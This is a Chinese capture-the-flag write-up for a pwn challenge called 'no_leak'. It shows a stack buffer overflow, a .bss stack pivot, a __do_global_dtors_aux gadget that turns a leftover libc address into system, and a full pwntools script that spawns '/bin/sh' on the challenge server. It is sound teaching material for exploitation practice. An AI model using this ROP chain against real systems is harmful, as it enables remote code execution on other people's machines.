_do_global_dtors_aux中有一个gadgets可以修改stack上的数据,以达到可以代替64位的ret2_dl_runtime_resolve
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 root@--name:/ctf/work/eonew/noleak 0x00000000004004b6 : add byte ptr [rax], al ; pop rbp ; ret 0x00000000004004b5 : add byte ptr [rax], r8b ; pop rbp ; ret 0x0000000000400517 : add byte ptr [rcx], al ; pop rbp ; ret 0x0000000000400518 : add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret 0x00000000004004a9 : je 0x4004c0 ; pop rbp ; mov edi, 0x601010 ; jmp rax 0x00000000004004eb : je 0x400500 ; pop rbp ; mov edi, 0x601010 ; jmp rax 0x0000000000400512 : mov byte ptr [rip + 0x200af7], 1 ; pop rbp ; ret 0x00000000004004b3 : nop dword ptr [rax + rax] ; pop rbp ; ret 0x00000000004004f5 : nop dword ptr [rax] ; pop rbp ; ret 0x0000000000400515 : or ah, byte ptr [rax] ; add byte ptr [rcx], al ; pop rbp ; ret 0x00000000004004ab : pop rbp ; mov edi, 0x601010 ; jmp rax 0x00000000004005cb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x00000000004005cf : pop rbp ; pop r14 ; pop r15 ; ret 0x00000000004004b8 : pop rbp ; ret
0x0000000000400518 : add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret
这个gadget位于
_do_global_dtors_aux中 只要控制rbp和edx的值就可以任意修改栈上的数据
no_leak 栈溢出,没有可泄露的函数,第一感觉是用ret2_dl_runtime_resolve
,但尝试之后发现这道题在伪造调用dl_runtime_resolve
的时候会跳转到一个未知的地方,而且溢出的字节有点少。
1 2 3 4 5 6 7 8 int __cdecl main (int argc, const char **argv, const char **envp) { char buf; alarm(0x3C u); read(0 , &buf, 0x100 uLL); return 0 ; }
利用思路如下:
1、栈迁移到bss上
2、调用libc_start_main,使得bss上残留下原本栈的信息,就会有真实地址在bss上分布
3、找一个能用的真实地址,利用神奇的gadget,把它伪造成system,再次回跳到main函数
4、栈溢出构造system('/bin/sh')
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 from pwn import *import syscontext.log_level = 'debug' pwn_name = "no_leak" arch = '64' version = '2.27' ip, port = 'nc.eonew.cn' , 10002 context.terminal = ['tmux' , 'splitw' , '-h' ] if sys.argv[1 ]=="l" : p=process('./' +pwn_name) libc=ELF('/lib/x86_64-linux-gnu/libc.so.6' ,checksec=False ) else : p=remote(ip,port) libc=ELF('/lib/x86_64-linux-gnu/libc.so.6' ,checksec=False ) elf=ELF(pwn_name,checksec=False ) def get_one () : if (arch == '64' ): if (version == '2.23' ): one = [0x45216 , 0x4526a , 0xf02a4 , 0xf1147 ] if (version == '2.27' ): one = [0x4f2c5 , 0x4f322 , 0x10a38c ] return one def sym (func) : success('{} => {:#x}' .format(func , libc.sym[func])) return libc.sym[func] def info (con,leak) : success('{} => {:#x}' .format(con,leak)) def dbg (address=0 ) : if address==0 : gdb.attach(p) pause() else : if address > 0xfffff : script="b *{:#x}\nc\n" .format(address) else : script="b *$rebase({:#x})\nc\n" .format(address) gdb.attach(p, script) def cus_rop (gadget1,gadget2,func_got,rdi,rsi,rdx) : payload = p64(gadget1) payload += p64(0 ) payload += p64(0 ) payload += p64(1 ) payload += p64(func_got) payload += p64(rdi) payload += p64(rsi) payload += p64(rdx) payload += p64(gadget2) payload += '\x00' *56 return payload one = get_one() gadget_reg = 0x4005C6 gadget_call= 0x4005B0 magic_gadget = 0x400518 pop_rdi_ret = 0x4005D3 pop_rsi_r15 = 0x4005D1 leave_ret = 0x400564 buf_address = elf.bss() + 0x500 fini = 0x4005E0 init = 0x400570 start = 0x400450 dbg(0x400537 ) payload = '\x00' *0x80 + p64(buf_address) payload += p64(pop_rdi_ret) + p64(0 ) payload += p64(pop_rsi_r15) + p64(buf_address) + p64(0 ) + p64(elf.plt['read' ]) payload += p64(leave_ret) payload = payload.ljust(0x100 ,'\x00' ) p.send(payload) payload = '\x00' *8 payload += cus_rop(gadget_reg,gadget_call,elf.got['__libc_start_main' ],start,fini,init) payload = payload.ljust(0x100 ,'\x00' ) p.send(payload) pause() payload = '\x00' *0x80 + p64(buf_address) payload += p64(0x4005Ca ) payload += p64(0xFFFFFFFFFFC5EE18 ) payload += p64(0x601458 +0x3d ) payload += p64(0 )*4 payload += p64(magic_gadget) payload += p64(start) p.send(payload) binsh = 0x6012b0 system = 0x601458 payload ='/bin/sh\x00' +'b' *0x80 payload +=cus_rop(gadget_reg,gadget_call,system,binsh,fini,init) p.send(payload) p.interactive()
修改0x601458
处的地址,经过加减得到__libc_system